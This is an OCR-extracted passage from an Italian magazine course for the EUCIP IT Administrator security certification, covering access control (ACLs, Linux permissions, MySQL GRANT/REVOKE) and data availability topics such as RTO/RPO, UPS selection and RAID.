concettuali alla
base del
controllo
daccesso
PC Open www.pcopen.it 61
Lezione 3 IT Administrator - Sicurezza informatica
5.3.6.3 Conoscere
le modalit di
gestione
dellaccesso per i
file system correnti
pensare a uno stesso modello logico di riferimento per la
determinazione dei permessi di accesso: la cosiddetta "ta-
bella delle autorizzazioni", di cui, come vedremo, altri mo-
delli costituiscono restrizioni o semplificazioni.
Access Control List e List of Capabilities
La tabella delle autorizzazioni (o "matrice degli acces-
si") pu essere immaginata come una matrice bidimen-
sionale le cui righe rappresentano "soggetti" (o "princi-
pal"), ossia entit utenti, processi, eccetera - che pos-
sono richiedere un accesso a qualche risorsa; le sue co-
lonne rappresentano invece "oggetti", o risorse file, pe-
riferiche, database, porte di I/O, eccetera per le quali, a
fronte di una richiesta di un "principal", pu essere con-
sentito o negato l'accesso.
All'incrocio di una riga con una colonna la matrice ri-
porta l'elenco dei diritti, od operazioni, che sono conces-
si a quel determinato "principal" su quella particolare ri-
sorsa. Per esempio, limitandoci per semplicit al caso de-
gli utenti e dei file:
file1 file2 ... fileN
utente1 lett./scritt. nessun diritto ... lett./esecuz.
utente2 lett. nessun diritto ... lett.
... ... ... ... ...
utenteM lett./esec. lett./scritt. ... lett.
Riconsiderando ora questa matrice ed estraendone
una determinata colonna otteniamo l'elenco dei diritti di
accesso riconosciuti su quella risorsa (nell'esempio, un fi-
le) per ogni utente conosciuto al sistema. Questo tipo di
informazione non altro che la Access Control List (ACL)
associata alla risorsa:
file1
utente1:
lettura/scrittura
utente2:
lettura
...
utenteM:
lettura/esecuzione
Viceversa, se dalla stessa tabella estraiamo una deter-
minata riga, otteniamo l'indicazione di tutto ci che nel
complesso consentito fare a un determinato "principal"
(nell'esempio, un utente). Questo vettore spesso defini-
to "Capability List" (lista di capacit)
utente1
file1: file2: fileN:
lett./scritt. nessun diritto ... lett./esec.
Controllo degli accessi nei comuni file system
Anche se da un punto di vista logico il modello di rife-
rimento per quanto riguarda il controllo degli accessi sui
file sostanzialmente analogo nella maggioranza dei si-
stemi operativi, esistono differenze e restrizioni piuttosto
marcate nella sua implementazione da caso a caso. Qui
prenderemo in considerazione Windows XP Home, Win-
dows XP Professional e Linux.
Fra i tre sistemi presi in esame, Windows XP Profes-
sional offre il modello ACL per i file pi articolato e com-
pleto. possibile, per ogni singolo "principal", sia esso un
utente o un gruppo, specificare per ogni singolo file (o per
intere cartelle o unit disco) non soltanto i "classici" per-
messi di lettura e scrittura (Figura 3), ma anche permes-
si estremamente specifici quali l'autorizzazione ad acqui-
sire il possesso della risorsa, a impostare il valore dei suoi
attributi base ed estesi e perfino l'autorizzazione a legge-
re (e cambiare) i permessi stessi. Questo si fa utilizzando
un'apposita scheda (Figura 4) del dialog box "Properties"
che si visualizza selezionando il file in Explorer e facendo
clic con il tasto destro del mouse; la scheda Permissions
3
4
5
5.3.6.2 Sapere
cos unAccess
Control List (ACL) e
la List of
Capabilities
PC Open www.pcopen.it 62
ITAdministrator - Sicurezza informatica Lezione 3
(Figura 5) fornisce invece una vista tabellare abbastanza
chiara della ACL per l'oggetto in questione.
Nel caso di XP Home, per i file, disponibile una ver-
sione di ACL molto ristretta. Tutto quello che si pu fare
specificare se una determinata cartella per esclusivo
uso personale di un determinato utente sul computer lo-
cale, oppure condivisa con gli altri utenti locali del com-
puter, oppure condivisa in rete, nel qual caso consenti-
to anche precisare se agli utenti di rete deve essere per-
messo modificare i file contenuti nella cartella. Non pos-
sibile impostare queste restrizioni a livello di singolo file
e non possibile differenziarle utente per utente. In sin-
tesi, sia i "principals" sia le risorse (ovvero, sia le righe sia
le colonne della "access matrix") sono trattabili solo in
modo "grossolano", per gruppi, e anche i permessi che
possono essere concessi o negati (lettura; scrittura) sono
un sottoinsieme di quelli previsti dal modello di XP Pro-
fessional.
In Linux lo schema per attribuire i permessi ai file
semplice ma pratico e soprattutto sufficiente per tutte le
applicazioni normali. Ogni file o directory ha associato un
set di permessi accordati a tre diverse categorie: il pro-
prietario del file (user); il gruppo di utenti a cui il pro-
prietario appartiene (group); tutti gli altri utenti (other).
Per ognuno di questi tre "principal" sono definiti tre per-
messi: lettura, scrittura, esecuzione/attraversamento.
Quest'ultimo assume il primo significato nel caso in cui
l'entit in esame sia un file e il secondo significato nel ca-
so di una directory.
Caratteristica peculiare di Unix in generale e quindi an-
che di Linux, il permesso di esecuzione esiste anche nel-
la variante "set user id": l'effetto quello di far s che an-
che se il programma lanciato in esecuzione da un uten-
te U, durante l'esecuzione gli verr temporaneamente at-
tribuita un'identit (effective user ID) uguale a quella del
proprietario del file. Si tratta di una possibilit molto uti-
le per consentire anche a semplici utenti l'esecuzione di
determinate operazioni privilegiate, ma naturalmente, se
abusata, foriera di gravi rischi per la sicurezza, specie se
il flag "set user id" usato per un programma di propriet
di root.
I permessi dei file sono mostrati quando si richiede la
visualizzazione della directory con il comando "ls l": la
rappresentazione, che compare subito alla sinistra del fi-
le, consiste in una stringa di 10 caratteri, in cui il primo co-
difica il tipo di file (file, directory, link simbolico, socket
un oggetto software che collega unapplicazione a un pro-
tocollo di rete - named pipe collegamento temporaneo
fra due programmi o comandi) e i successivi 9 caratteri,
a gruppi di 3 (da sinistra a destra: utente/gruppo/altri),
sono i permessi per i 3 diversi "principal".
Se un dato permesso concesso, la relativa lettera vi-
sualizzata (r per read, w per write, x per execute, s per set-
user-ID). Viceversa, se il permesso non disponibile, nel-
la corrispondente posizione della stringa viene mostrato
un trattino ("-"). Per esempio, la stringa dei permessi di un
file di programma eseguibile ha normalmente il seguente
aspetto:
-r-xr-xr-x
Se si vuole che, quando qualcuno lo esegue, il pro-
gramma acquisisca i diritti dell'utente proprietario del fi-
le per tutto il tempo dell'esecuzione, occorre assegnare il
permesso set-user-id, cos:
-r-sr-xr-x
Invece i permessi di un semplice file di dati leggibile dal
proprietario e dal suo gruppo, ma scrivibile solo dal pro-
prietario, appaiono cos:
-rw-r-----
Una directory (tipo di file: "d") in cui tutti possono scri-
vere e leggere e che tutti possono attraversare avr inve-
ce una stringa permessi di questo tipo:
drwxrwxrwx
mentre sar opportuno che la home directory di un
utente sia maggiormente protetta, per non consentire n
letture, n scritture, n attraversamenti ad estranei, com-
presi gli appartenenti allo stesso gruppo di utenti del pro-
prietario, al quale invece devessere concesso tutto:
drwx------
bene tenere comunque sempre presente che per l'u-
tente root come se tutte queste limitazioni non esistes-
sero.
Esiste anche una rappresentazione numerica di questi
permessi che basata su una notazione binaria: a ogni
permesso concesso o negato viene fatto corrispondere un
bit in una maschera di 9 bit. Ogni bit della maschera vale
0 se il rispettivo permesso negato, 1 se concesso. Da si-
nistra a destra, i bit hanno il seguente significato:
user group other
read write execute read write execute read write execute
1 1 0 1 0 0 1 0 0
La maschera mostrata nell'esempio (110100100) corri-
sponde alla stringa "rw-r--r--", ossia: il proprietario pu leg-
gere o scrivere il file, gli altri (gruppo ed estranei) posso-
no solo leggerlo.
Solitamente si fa uso della notazione ottale per como-
dit (in quanto ogni cifra ottale corrisponde a 3 bit, un rag-
gruppamento ideale). Cos, una situazione di "tutti i per-
messi negati" corrisponde a 000 ottale, mentre 777 rap-
presenta il binario 111 111 111, ossia "tutti i permessi so-
no concessi a tutti". I permessi dell'esempio di cui sopra,
in ottale, avrebbero la rappresentazione 644.
Da segnalare infine il meccanismo dei permessi di de-
fault. Quando viene creato un file, il sistema operativo
provvede ad attribuirgli dei permessi che dipendono dal
tipo di file (per esempio: programma o file di dati) e da
una speciale misura precauzionale supplementare, volta
di solito a restringere i permessi che spettano a "gruppo"
e "altri": si tratta del meccanismo della "umask", in so-
stanza un valore binario (espresso per comodit in otta-
le) che rappresenta i bit che devono essere azzerati nella
maschera dei permessi rispetto al valore dei permessi
standard per quel tipo di file. Il comando umask, senza pa-
rametri, visualizza il valore attuale di questa maschera.
Per impostarla si usa lo stesso comando ma si passa un
parametro ottale su riga di comando, per esempio:
umask 022
che corrisponde a negare a "gruppo" e "altri" il diritto
di scrittura per il nuovo file.
Controllo degli accessi in database relazionale
Uno dei tipi pi importanti di risorse disponibili in re-
te il database. E' evidente che, se si ha a cuore la sicu-
rezza delle informazioni, l'accesso a un database (che
spesso pu contenere dati estremamente rilevanti e sen-
sibili) non privilegio da concedere a chiunque senza re-
strizioni.
5.3.6.4 Conoscere
le modalit di
gestione
dellaccesso ai
RDBMS
PC Open www.pcopen.it 63
Lezione 3 IT Administrator - Sicurezza informatica
Due sono gli aspetti da considerare a questo riguardo:
il controllo sulla connessione al Database server e l'auto-
rizzazione a compiere le varie operazioni una volta con-
nessi.
Per il primo punto i database utilizzano naturalmente
uno schema basato su password; a seconda dei casi la
password pu viaggiare da client a server su una connes-
sione pi o meno protetta da tecniche crittografiche, ma
si tratta di uno scenario simile a quelli gi discussi, con
vantaggi e criticit analoghi, su cui non ci soffermiamo.
E' il secondo aspetto a meritare un cenno. I database
sono dei sistemi per la gestione veloce e affidabile di gran-
di quantit di informazioni in forma strutturata. Nel caso
particolare dei database relazionali (RDBMS) la struttura
usata la tabella bidimensionale; una tabella si usa per
modellare una determinata entit; le righe (o record) cor-
rispondono a istanze, le colonne ad attributi.
Esempio di tabella in un RDBMS
Nome tabella: Correntista
Nome Codice fiscale Numero cliente Saldo
John Smith 1234567XYZ 1423 1000
Jack White 9876543KLM 5253 2000
In questa tabella gli attributi sono Nome, Codice fi-
scale, Numero cliente e Saldo; lentit modellata il
Correntista. Sono attualmente presenti 2 istanze, corri-
spondenti ai correntisti i cui nomi sono John Smith e Jack
White; per esempio, il record contenente le informazioni
riguardandi John Smith il seguente record di quattro
campi:
John Smith 1234567XYZ 1423 1000
Cos, possiamo dire che il valore dellattributo Nume-
ro cliente per listanza relativa a John Smith 1423.
Il modello di protezione a livello di utente, con il quale
si possono stabilire livelli di permessi d'accesso ai dati e
ad altre informazioni di controllo del database, non ha
una logica "tutto o niente" ma consente di specificare que-
sti permessi con una granularit pi fine, per definire la
quale si fa proprio riferimento a questi oggetti ed alle ope-
razioni possibili su di essi.
Con riferimento al caso particolare di Access, in am-
biente Windows, per ogni "principal" (utente o gruppo di
utenti) e per ogni oggetto definito nel database, fra quel-
li di tipo controllabile (tabella, query, maschera, eccetera)
infatti possibile specificare le autorizzazioni desiderate,
fra cui lettura, scrittura, inserimento, cancellazione.
L'operazione, nel caso di Access, si effettua da una co-
moda finestra dedicata (Figura Permessi Access). Per al-
tri database, in assenza di una interfaccia grafica di ge-
stione analoga a questa, per definire i permessi occorre
utilizzare comandi interattivi stile SQL oppure agire su
speciali tabelle di controllo che fanno parte anch'esse,
seppure a titolo speciale, del database a cui si riferiscono;
nome, tipo e struttura di questi comandi o tabelle dipen-
dono dal particolare RDBMS usato, anche se i concetti su
cui si basano restano naturalmente gli stessi. Per esem-
pio, in MySQL (un database molto diffuso, in particolare
in ambiente Linux) e vari altri RDBMS, i seguenti coman-
di hanno l'effetto di concedere all'utente "smith12" di mo-
dificare ("alter") la tabella dei conti correnti, "Accounts",
in un database bancario, purch "smith12" si sia preven-
tivamente autenticato a mezzo password:
Mysql> GRANT alter on Accounts to smith12
Mysql> IDENTIFIED by "password";
Si potrebbe anche concedere a un utente "admin" ogni
permesso su ogni tabella del database, pretendendo
per, per ragioni di sicurezza, una autenticazione che av-
venga in modo protetto crittograficamente a mezzo SSL
(Secure Socket Layer):
Mysql> GRANT all on *.* to admin
Mysql> IDENTIFIED by "password" REQUIRE SSL;
Esiste anche un comando REVOKE che ha l'effetto con-
trario di GRANT, in quanto revoca una o pi autorizzazio-
ni per un dato utente e tabella. La sintassi del tutto si-
mile a quella di GRANT:
Mysql> REVOKE alter on Accounts FROM smith12;
Mysql> REVOKE ALL PRIVILEGES FROM smith12;
6
PC Open www.pcopen.it 64
ITAdministrator - Sicurezza informatica Lezione 4
D
a un punto di vista colloquiale, il senso dellespres-
sione disponibilit dei dati, e dei rischi che posso-
no comprometterla, pu apparire quasi intuitivo.
Viene spontaneo pensare alla possibilit che si guastino i
dischi fissi, che la rete cessi di funzionare, che si verifichi
un black out, che si guasti qualche altro apparato vitale.
Tutti questi aspetti certamente esistono e li approfondire-
mo nei prossimi paragrafi, ma conviene qui ricordare che
tecnicamente lespressione disponibilit dei dati ha
unaccezione piuttosto ampia e articolata che a volte scon-
fina anche in questioni collaterali. Vediamo quali sono, an-
che attraverso qualche esempio.
Innanzitutto laccessibilit. Il fatto che i dati esistano
senza che sia possibile avervi accesso non di grande in-
teresse. Per la disponibilit dei dati quindi necessario an-
zitutto assicurare che gli eventuali meccanismi di prote-
zione e di controllo degli accessi (dallautenticazione del ri-
chiedente, allautorizzazione per mezzo di uno schema di
permessi) funzionino regolarmente e che i relativi databa-
se, che sono necessari per il loro funzionamento, siano a lo-
ro volta accessibili e contengano dati validi. Questi com-
prendono i database di chiavi crittografiche usate per ren-
dere sicuro il processo di autenticazione e accesso, quelli
di elenchi di utenti e relative password, nonch le Access
Control List (lelenco dei diritti di accesso riconosciuti per
una risorsa) e le Capability List (tutti i permessi che sono
attribuiti a un particolare utente o processo). Sempre per
garantire laccessibilit dei dati naturalmente necessario
che le connessioni di rete funzionino e siano affidabili, co-
me approfondiremo fra breve.
Vi sono poi aspetti che riguardano intrinsecamente i da-
ti stessi, a cominciare dalla loro integrit. Non si possono
definire disponibili, infatti, dati che siano solo parziali, pri-
vi di informazioni essenziali per il loro utilizzo. Per esem-
pio, in un database relazionale usato per modellare i dati di
un istituto bancario, del tutto inutile che esistano la ta-
bella A, con la situazione dei conti correnti (figura 1) e la ta-
bella B, dei dati anagrafici dei correntisti (figura 2), se an-
data perduta la tabella C, che mette in relazione i correnti-
Prosegue il primo corso di taglio professionale destinato al
conseguimento della certificazione ufficiale, EUCIP IT
Administrator Sicurezza
Informatica, valida in tutta Europa. In questo numero ci
occupiamo di tutti i meccanismi per garantire la costante
disponibilit delle informazioni anche in caso di disastro
o di attacco maligno. I contenuti
sono composti da tre elementi:
un articolo sulla rivista, un
articolo, molto pi esteso in
formato PDF e un corso
multimediale completo
su CD e DVD di Marco Mussini
Materiale didattico
validato da AICA
Certificazione EUCIP
IT Administrator
Modulo 5 -
IT Security
Sicurezza informatica
"AICA Licenziataria
esclusiva in Italia del
programma EUCIP
(European Certification
of Informatic
Professionals), attesta
che il materiale didattico
validato copre
puntualmente e
integralmente gli
argomenti previsti nel
Syllabus IT Administrator
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
autorizza sul presente
materiale didattico l'uso
del marchio EUCIP,
registrato da EUCIP Ltd
e protetto dalle leggi
vigenti"
Obiettivo del corso IT Administrator
Sicurezza Informatica
Fornire al lettore familiarit con i vari modi di
proteggere i dati sia su un singolo PC sia in una LAN
connessa a Internet. In particolare, metterlo nelle
condizioni di proteggere i dati aziendali contro
perdite, attacchi virali e intrusioni. Inoltre, metterlo
nelle condizioni di conoscere e utilizzare le utility e i
programmi pi comuni destinati a tali scopi.
Riferimento Syllabus
2.0 (curriculum
ufficiale AICA)
5.4 Disponibilit
dei dati
5.4.1.1 Conoscere i
diversi tipi di
esigenze di
disponibilit dei dati
I contenuti delle 8 lezioni
Lezione 1: Informazioni generali
Lezione 2: parte 1Crittografia -
fondamenti e algoritmi
Lezione 2: parte 2Crittografia -
applicazioni
Lezione 3: Autenticazione
e controllo degli accessi
Lezione 4: Disponibilit
Lezione 5: Codice maligno
Lezione 6: Infrastruttura a chiave pubblica
Lezione 7: Sicurezza della rete
Lezione 8: Aspetti sociali, etici e legali della
sicurezza informatica
In collaborazione
con:
Disponilbilit dei dati
Proteggere i dati
da disastri
e attacchi maligni
PC Open www.pcopen.it 65
Lezione 4 IT Administrator - Sicurezza informatica
sti con conti correnti (figura 3). La mancanza della tabella
C rende di fatto inutili, e non disponibili, i dati delle tabelle
A e B.
Tabella A la situazione dei conti correnti di una banca
N.conto Saldo Tasso attivo Tasso passivo Fido
10001 1090 1.25 8.75 300
10322 2315 1.00 9.25 500
10224 3167 1.50 8.50 1250
La tabella B con i dati anagrafici dei correntisti
Cod.Cliente CognomeNome Indirizzo Citt
371 Rossi Mario C.so Garibaldi 10 Pavia
392 Bianchi Giorgio Via Bellini 40 Lecco
407 Verdi Alfredo P.za Cavour 17 Milano
La tabella C, che mette in relazione clienti e conti correnti.
In sua mancanza le tabella A e B del database sono inutili.
Codice Cliente Numero Conto
371 10322
392 10224
407 10001
Anche se formalmente i dati sono accessibili e tutti pre-
senti, vi pu essere tuttavia un problema di consistenza.
Sempre sulla falsariga allesempio bancario, il fatto che for-
malmente siano presenti le tabelle A, B e C non serve a nul-
la se la corrispondenza espressa dalla tabella C fa riferi-
mento a identificativi di conto corrente oppure a codici
cliente non corretti, ai quali non fa riscontro alcun conto
(nella tabella A) o alcun cliente (nella tabella B). In questo
caso si dice che i dati contenuti nella tabella C (figura 1) so-
no inconsistenti con i dati delle tabelle A e B, il che rende i
dati, nel loro complesso, privi di senso e inutilizzabili per-
ch privi di una rete di collegamenti validi che li metta in re-
lazione reciproca.
Figura 1. Un esempio di tabella C contenente dati
parzialmente inconsistenti con le tabelle A e B mostrate in
figura 1 e 2. Esempi di dati inconsistenti sono evidenziati
in giallo.
Codice Cliente Numero Conto
375 10322
392 10224
407 10771
Per completezza ricordiamo che quando i dati sono ine-
satti, ma leffetto di tale inesattezza si esaurisce in s stes-
so (non si ripercuote cio sulle relazioni tra i dati e sulla lo-
ro utilizzabilit nel loro complesso) la questione riguarda
invece la correttezza dei dati; si tratta tuttavia di un pro-
blema che solo contiguo a quello della loro disponibilit.
La garanzia di disponibilit dei dati, insieme allininter-
rotto e regolare funzionamento dei processi aziendali, sono
i pilastri della cosiddetta "Business Continuity", intesa co-
me la misura in cui unorganizzazione riesce a garantirsi la
stabilit ininterrotta dei sistemi e delle procedure operati-
ve anche a fronte di eventi eccezionali. Tale risultato non
realisticamente raggiungibile aggiungendo una stratifi-
cazione di rimedi a processi e sistemi che di base sono fra-
gili e vulnerabili: occorre piuttosto progettarli in modo che
siano intrinsecamente robusti e fault tolerant ossia resi-
stenti ai guasti.
La Business Continuity dunque il risultato di una cor-
retta pianificazione della gestione delle criticit (Crisis Ma-
nagement), di unaccurata identificazione, valutazione e ge-
stione dei rischi (Risk Analysis, Assessment and Manage-
ment), di processi organizzativi e informatici progettati con
criteri di ridondanza e sicurezza, e di appropriate proce-
dure di Data Recovery in grado di fornire un grado supple-
mentare di protezione in caso di eventi eccezionali.
Naturalmente la sicurezza ha un costo proporzionale al
livello di servizio garantito, pertanto ogni organizzazione
deve stabilire il livello di compromesso tra il rischio din-
terruzione delloperativit e il costo delle misure preposte
a garantire la Business Continuity. Idealmente si sarebbe
portati a dire che non ci si pu permettere di perdere alcun
dato e che non tollerabile alcuna interruzione di servizio;
purtroppo assai probabile che un simile livello di prote-
zione abbia un costo proibitivo. Si deve inoltre osservare
che non tutte le applicazioni e i dati usati in azienda sono
ugualmente mission-critical. quindi utile definire alcune
soglie ed qui che torna utile definire due concetti, quello
di Recovery Time Objective (RTO) e quello di Recovery
Point Objective (RPO).
Il Recovery Time Objective, riferito a un determinato si-
stema o processo organizzativo, un valore che indica il
tempo -disponibile per il recupero della piena operativit di
quel sistema o processo. In altre parole la massima dura-
ta prevista o tollerata delleventuale downtime, ove questo
si verificasse. Laspetto di primaria importanza che un
qualche valore di RTO sia definito, conosciuto e verificato.
Infatti, se vero che un downtime lungo danneggia lorga-
nizzazione pi di uno breve, il danno peggiore deriva sen-
za dubbio dal non avere alcuna idea precisa di quanto tem-
po sar disponibile per terminare il downtime quando si ve-
rifica. Avere una soglia di RTO conosciuta e verificata per-
mette se non altro di reagire allemergenza in modo ordi-
nato e potendo contare su un tempo massimo garantito pri-
ma del ritorno alla normalit.
Una misura utile per ridurre lRTO consiste nel fare in
modo che i dati siano disponibili integralmente e a caldo
in un sito secondario, che sia immediatamente accessibile
qualora il sito primario subisca uninterruzione di servizio.
Se lRTO stabilisce un limite di tempo entro il quale at-
teso il ritorno alla normalit, lRPO (Recovery Point Objec-
tive) quantifica invece lentit massima della perdita di da-
ti che pu essere tollerata a seguito di un evento di crisi.
Per rimanere dentro le richieste imposte dallRPO oc-
corre, per esempio, che i dati vengano salvati e replicati
con immediatezza, con un minimo tempo di permanenza in
memoria volatile (come un buffer in RAM) o priva di pro-
tezione (come un disco non ridondato). Una soluzione ben
pi idonea consiste per nelladozione di schemi di repli-
cazione dei dati sulle unit a disco (RAID), come vedremo
tra poco.
I valori di RPO ed RTO devono risultare da unanalisi del-
la struttura informatica nel suo complesso e il loro dimi-
nuire porta progressivamente a una struttura sempre pi
critica. Ad esempio, una struttura che disponga di un RTO
alto pu rimanere inattiva senza problemi per un lungo pe-
riodi, al fine di consentire riparazioni anche complesse. Una
struttura con un RPO alto pu invece tollerare un numero
alto di transazioni non ripristinate senza problemi.
Requisiti sullinfrastruttura ICT
Anche lequipaggiamento hardware deve avere caratte-
ristiche tali da contribuire a un buon livello generale di
information availability.
Lesempio pi evidente consiste nel tutelarsi dal rischio
di black-out dotandosi di sistemi UPS (Uninterruptible
Power Supply) adeguati alle attrezzature da proteggere.
Le principali caratteristiche degli UPS da valutare nella
scelta sono otto.
1) il carico massimo sopportabile, espresso in VA (Volt
Ampere). Naturalmente sempre saggio sovradimen-
sionare lUPS rispetto allassorbimento teorico dellin-
sieme dei sistemi da proteggere. Sar cos possibile as-
sorbire picchi inattesi di carico, senza contare che lau-
tonomia durante il black-out sar maggiore.
2) il tempo di commutazione della fonte di alimentazione
5.4.1.2 Conoscere i
diversi tipi di
esigenze
infrastrutturali dei
sistemi informatici
(gruppi di
continuit,
climatizzazione,
cablaggi etc)
PC Open www.pcopen.it 66
ITAdministrator - Sicurezza informatica Lezione 4
da rete elettrica a batteria interna. Tale tempo (che de-
ve essere dellordine dei pochi millisecondi al massimo)
va confrontato con il tempo massimo sopportabile, in
condizioni di assenza di alimentazione, dalla pi esi-
gente tra le unit da proteggere.
3) la durata massima del periodo di autonomia in assenza
di alimentazione in condizione di carico massimo. A se-
conda del dimensionamento, lUPS pu lasciare giusto il
tempo per salvare i dati e chiudere le applicazioni (una
decina di minuti) oppure permettere una vera business
continuity per un tempo di diverse ore. Fra questi due
scenari passa una differenza molto rilevante per quanto
riguarda il dimensionamento e il costo dellUPS (che
sar varie volte maggiore nel secondo caso).
4) il tempo richiesto per una ricarica completa. Si tratta di
un valore essenziale per sapere quali chance ha il siste-
ma di resistere a due o pi black-out in rapida succes-
sione. In molti casi il processo di carica di gran lunga
pi lento di quello di scarica: un UPS che garantisce 10
minuti di autonomia a carico massimo pu impiegare
ore per ricaricarsi completamente. Questo evidente-
mente pone limiti precisi non solo alla durata degli inci-
denti di alimentazione, ma anche alla loro frequenza. La
soluzione ancora una volta quella di sovradimensio-
nare lUPS.
5) la capacit di smorzare sovratensioni, disturbi impulsi-
vi e scariche conseguenti a fattori meteorologici o a dis-
servizi della rete elettrica. Questa prestazione pu esse-
re intrinseca per il tipo di tecnologia dellUPS (come
spiegato pi avanti) oppure essergli conferita da un mo-
dulo dedicato interno. anche possibile interporre un
filtro tra la rete elettrica e lUPS oppure tra questo e le
unit sotto protezione.
6) la capacit di interfacciarsi a livello logico-applicativo
con i sistemi sotto protezione, in modo da forzare il sal-
vataggio automatico dei dati e lo shutdown ordinato dei
sistemi stessi. Di solito ci avviene mediante collega-
mento seriale o USB ed richiesta linstallazione di un
apposito software di supervisione. Tale software rara-
mente disponibile su molti sistemi operativi diversi,
pertanto importante valutare con attenzione la qualit
del supporto software offerto dal fornitore dellUPS.
7) la disponibilit di un sistema di controllo remoto per il
monitoraggio dello stato di carica della batteria e per la
consultazione di un log degli eventi critici verificatisi.
8) il tipo di tecnologia. In ordine crescente di protezione, di
rapidit di commutazione e di immunit dai disturbi sul-
lalimentazione primaria, ma anche di costo, citiamo il ti-
po Passivo (ormai obsoleto) che interviene solo in caso
di mancanza di alimentazione, ma non filtra lalimenta-
zione proveniente dalla rete primaria, il tipo On line in-
teractive che regola e filtra tensione della rete primaria
mantenendo contemporaneamente in carica la batteria
che interviene immediatamente in caso di blackout e in-
fine il tipo Online a doppia conversione che alimenta il
carico costantemente dalla batteria. Questultimo tipo di
unit trasforma costantemente in corrente continua la
corrente alternata in ingresso mediante un raddrizzato-
re; la corrente continua cos ottenuta viene in parte usa-
ta per la carica di mantenimento della batteria, mentre il
resto viene nuovamente convertito in corrente alterna-
ta per il carico, con parametri assolutamente stabili e to-
tale disaccoppiamento da eventuali disturbi presenti sul-
lalimentazione primaria.
Anche la climatizzazione del locale macchine devesse-
re curata con attenzione. Tutte le unit come PC, monitor,
unit disco, apparati di rete, eccetera, riportano nella pro-
pria documentazione il campo di temperatura (e in qualche
caso di umidit) ammissibile. Il sistema di condizionamen-
to deve assicurare il mantenimento dei parametri ambien-
tali (temperatura, umidit) entro lintervallo tollerato dai si-
stemi installati, tenendo conto anche di un adeguato mar-
gine di tolleranza (per esempio si deve tener conto di un
black out durante il quale gli UPS proteggono i sistemi, ma
probabilmente non limpianto di condizionamento, che
cesserebbe di funzionare). Il progetto del sistema di con-
dizionamento pu altres prevedere una qualche forma di
ridondanza dellimpianto, per fare fronte al possibile cedi-
mento di ununit refrigerante.
Per quanto riguarda il dimensionamento, una prima
grossolana quantificazione del calore che il sistema deves-
sere in grado di asportare deve tenere conto dellassorbi-
mento elettrico di tutti i sistemi, oltre naturalmente alle
quote dovute allilluminazione dei locali e alla presenza del
personale.
Una corretta definizione dei percorsi per i cablaggi, la lo-
ro ridondanza e la scelta dei materiali pi opportuni sono
altri due aspetti che contribuiscono in modo importante al-
la Business Continuity, riducendo il rischio di black out o
disolamento di rete in caso di accidentale danneggiamen-
to dei cavidotti oppure riducendo la generazione di fumo in
caso di incendio.
bene che lo schema di cablaggio non sia il risultato di
una serie di disordinati interventi incrementali effettuati in
un lungo arco di tempo intorno a una rete di base obsole-
ta, ma che al contrario sia il frutto di un vero e proprio pro-
getto di cablaggio strutturato delledificio, capace di sup-
portare in modo ordinato e senza forzature o scompensi,
entro limiti prefissati e noti, eventuali estensioni e poten-
ziamenti della rete.
Un aspetto da non trascurare, a tale proposito, il man-
tenimento di documentazione aggiornata sullo schema di
cablaggio delledificio, che rende pi facile ed economico
un eventuale upgrade programmato, mentre in caso di
evento critico permette di effettuare interventi di ripara-
zione pi rapidamente e a colpo sicuro. Specialmente nel-
le installazioni pi complesse risulta conveniente archi-
viare e consultare questo tipo di documentazione sfrut-
tando particolari applicazioni gestionali (Cable plant do-
cumentation software).
Schemi di replicazione dei dati
a caldo per dischi fissi
Uno dei modi per fare fronte al possibile rischio di gua-
sto a una unit disco consiste nel mantenere una copia
completa degli stessi dati su una unit disco diversa. Lo si
pu fare eseguendo regolarmente un backup, ma tale ap-
proccio presenta almeno due inconvenienti. Innanzitutto
5.4.2.1 Essere al
corrente delle diverse
metodologie di
replicazione in tempo
reale delle unit
disco (RAID etc)
PC Open www.pcopen.it 67
Lezione 4 IT Administrator - Sicurezza informatica
resterebbero comunque non protetti i dati modificati dopo
lultimo backup; in secondo luogo, il recupero dei dati da
un backup unoperazione non trasparente, che deves-
sere eseguita esplicitamente, richiede tempo (lanciare
unapplicazione, selezionare i dati da recuperare, attende-
re che il recupero avvenga) e non si presta, per tali ragioni,
a supportare in modo appropriato una strategia di Busi-
ness Continuity.
Una soluzione convincente per il problema della prote-
zione dei dati dei dischi fissi consiste invece nel mantene-
re una copia a caldo dei dati, aggiornata in tempo reale,
pronta a subentrare alla copia primaria senza causare la mi-
nima interruzione del servizio. Il modo pi economico per
ottenerlo di ridondare le unit disco con altri dispositivi
identici, e gestire il tutto secondo una delle configurazioni
previste dalla tecnologia RAID (Redundant Array of Inex-
pensive Disks: letteralmente: schiera ridondata di dischi a
basso costo).
Va detto subito che molti degli schemi RAID esistenti af-
frontano il solo problema della protezione dei dati, altri il
solo problema del miglioramento delle prestazioni e altri
entrambe le questioni.
Gli schemi che seguono mostrano il bouquet di confi-
gurazioni RAID possibili.
Il concetto di base duplice: da un lato la distribuzione
dei dati fra pi dischi (striping), finalizzata allaumento
delle prestazioni (una determinata quantit di dati pu in-
fatti essere letta in parallelo, per met da un disco e per lal-
tra met da un secondo disco); dallaltro la ridondanza dei
dati, che consente di resistere a un guasto singolo o multi-
plo ricostruendo i dati a partire da bit di parit, codici ECC
(Error Correcting Code) oppure rileggendoli da una pura e
semplice replica integrale. I codici ECC costituiscono un si-
stema per monitorare laccuratezza delle informazioni e ap-
portare eventuali correzioni nel caso in cui si siano verifi-
cate alterazioni rispetto al valore originale a seguito di di-
fetti solitamente di natura fisica. La correzione possibile
poich il codice consente di risalire alla posizione del bit er-
rato allinterno della parola ossia del gruppo di bit moni-
torato.
Per ogni schema RAID possibile quantificare laumen-
to di prestazioni raggiungibile, cos come il numero di gua-
sti simultanei sopportabili. Generalmente poi possibile
sostituire i dischi guasti senza interruzione di servizio. A
seconda degli schemi RAID e delle prestazioni del control-
ler, lattivit di compensazione automatica degli errori o
guasti pu avere un effetto da nullo a medio sulle presta-
zioni del sistema.
La grande variet di schemi RAID definiti nasce dal gran
numero di possibili combinazioni dei vari schemi di ridon-
danza (replica, parit, ECC) e di striping.
interessante notare che con un investimento di entit
tutto sommato modesta possibile realizzare un sistema di
memorizzazione che al tempo stesso pi veloce e di gran
lunga pi sicuro del sistema di partenza.
RAID 0
Numero minimo dischi: 2
Descrizione: striping (parallelismo senza ridondanza)
Ridondanza: nessuna
Prestazioni: aumentano grazie al parallelismo fra dischi,
controller e canali DMA
Fault Tolerance: nessuna
Applicazioni idonee: applicazioni ad alta intensit di
banda, per es. applicazioni video
RAID 1
Numero minimo dischi: 2
Descrizione: Mirroring + Duplexing
Ridondanza: 100%. Richiede 2N drives
Prestazioni: su ogni tandem: raddoppiano in lettura,
